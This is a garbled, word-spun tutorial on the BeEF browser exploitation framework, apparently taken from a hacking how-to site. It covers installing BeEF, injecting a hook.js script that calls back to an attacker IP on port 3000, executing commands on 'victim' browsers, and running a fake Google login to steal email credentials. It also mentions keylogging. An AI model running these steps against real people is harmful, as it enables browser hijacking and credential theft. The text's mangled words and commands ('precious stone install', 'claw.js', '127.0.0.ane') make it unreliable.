Beef Hook Not Working Outside of Virutalbox

• Brief Introduction to Beefiness
• Pre-requisites
  • Install SQLite
  • Install Ruby
  • Install Gemfiles
• Steps to perform Beef Hacking
  • Step i: Installing Beefiness
  • Step ii: Launching beefiness hacking framework
  • Footstep 3: Hooking the target web browser
  • Step four: Executing commands on the victim's browser
  • Step v: Launching a social-engineering attack
• Summary
• References

Howdy learners, in this guide we will be applying both beefiness hacking and social engineering to steal credentials from our target'due south browser.  Man in the browser hacking is very difficult to detect since the attacker will disguise himself as a normal or verified user in order to obtain information either manner(from user and from the server). A hacker sits in the centre of the communication channel between the server and the website user.

Brief Introduction to BEeF

The discussion Beefiness stands for Browser Exploitation Framework. Information technology utilizes the customer side attack vectors  to asses the security level of the target environment. Beef hacking involves hooking 1 or more spider web browsers and using them to launch command modules to attack the target system within the browser context. Each browser may have a different set of assail vectors since each is within unlike security context.

Pre-requisites

• Take Cherry-red Installed (version 2.five or newer)
• Have Node.js (ten or newer)
• Have SQLite.
• Have the gems listed in the Precious stone file
• Have Mac OSX 10.5.0 or higher (modernistic Linux)

Install SQLite

SQLite is a DBMS contained in C library only it is different from other database direction systems in that it is not a client-server database engine rather it is embedded in the program. Information technology comes pre-installed on Kali Linux.

Installing SQLite on linux we just need a single command.

sudo apt-get install sqlite3

Install Ruby

Ruby is an opensource  and dynamic programming linguistic communication which is focused on simplicity. It is installed past default on Linux. But in case you find it missing you can install information technology by running the beneath control.

sudo apt-get install scarlet-full

Install Gemfiles

Gems are ruby files used to extend its applications functionalities. They contains re-usable functions shared amongst Cerise users. We will install gemfiles using bundler since it makes it easier to install many gems in a unmarried command.

Nosotros open a terminal window and run below command to install bundler.

precious stone install bundler

We start past creating an empty gemfile on our beef-xss root binder and nosotros copy paste the required gems in the gemfile. We so install the required gems from the specified sources using beneath commands.

$ bundle install $ git add Gemfile Gemfile.lock

NOTE:

As of at present, Beef framework is not even so supported on windows.

Steps to perform Beef Hacking

With that in mind, permit'south spring right into beef hacking.

Step 1: Installing BEeF

BEeF does not come up pre-installed on newer versions of Kali Linux (from version 2019.3) just if you update an older version of Kali Linux you will not loose the Beefiness framework. Just you have to make certain to use "beef-xss" to launch the framework instead of "beef" as information technology was on before version. Yet, if you had Beefiness pre-installed before or yous have to install information technology, the installation command is the same.

sudo apt install beef-xss

Footstep 2: Launching beef hacking framework

After installing BEef we now move on to the 2nd stride which is starting the framework in order to access the user interface and go the hook we demand to assail our victim.

sudo beef-xss

On the surface area in the red box we accept two very of import things; the we UI - this is the link address from which y'all will access the user console of the beef hacking framework and the web-hook - this is a JavaScript script which you lot need to insert to the vulnerable website in order to hook your victim's browser in beef hacking.

Notation:

Beefiness default password is and username is "beef:beef"

The web UI should look similar the one below

And later on logging in we take a view that looks every bit shown below. From here you can encounter the hacked browsers both online and offline.

Step 3: Hooking the target spider web browser

Once we have logged into beef hacking framework UI, we at present have to create a hook from which we will exist able to attack the victim. The hook script looks like this.

<script src="http://<IP ADDRESS>:3000/claw.js"></script>

Where we have IP you lot have to supervene upon it with your IP address from where your victim's browser will hook dorsum to. Beef hacking framework provides for a demo site which tin can be accessed via

http://127.0.0.1:3000/demos/basic.html

But nosotros will be creating our own HTML file from where will add our claw.

<html>   <head>     <title>BEEF HACKING</title>       <script src="http://127.0.0.ane:3000/hook.js"></script>   </caput>   <body>     <h1>You lot HAVE BEEN HACKED!!!</h1>   </body> </html>

We now accept to run our HTML file on a web browser.

As you can see we have our victims web browser hooked.

Step iv: Executing commands on the victim'southward browser

Nosotros now accept a beefiness hacking hook on the victim's browser and we can execute numerous commands inside the beef hacking framework in lodge to collect of import information we may require from the victim's browser.  some of the capabilities available on beef hacking framework are as shown below categorically.

As yous can see we have over 100 commands which we can use against the victims' browsers.

Step 5: Launching a social-engineering assail

In this guide nosotros will try and carry out a social engineering science attack on our victim in order to larn the user's login details. we just have to select the command we demand and execute information technology.

We volition be acquiring the user'south one thousand mail login details. Once nosotros execute the control,the victim will be redirected to a webpage similar to the google login page requiring him/her to her username and countersign as shown below.

And once the user enters his/her username and countersign we volition be ale to view information technology correct from our beefiness hacking framework(see paradigm below). Later the user clicks the sign in button, he/she will be redirected to the official google sign in page. This aids in making the attack more stealth.

We at present have the user's e-mail username and password. Beef hacking framework as well acts equally an advanced keylogger and it is able to collect the keys that have been clicked by a victim while using the browser this makes it more unsafe.

Summary

Beef hacking framework is a powerful tool that can be leveraged past systems security professionals to try and design systems especially spider web apps which are safe for employ past the end user. A hacker with the necessary knowledge can too add together his own modifications on beefiness hacking framework to make it more powerful. For example, A hacker can design the login page of any website he needs information from and fifty-fifty customize the URLs of the phishing page to make them await more believable in the eyes of the victim. We equally users of the internet, we should avoid visiting malicious and insecure websites to avoid existence victims of beef hacking. We should too check the authenticity of web pages which require us to provide them with personal details.

References

Man-in-the-Browser Attacks
Hack Web Browsers with BeEF to Control Webcams, Phish for Credentials & More than

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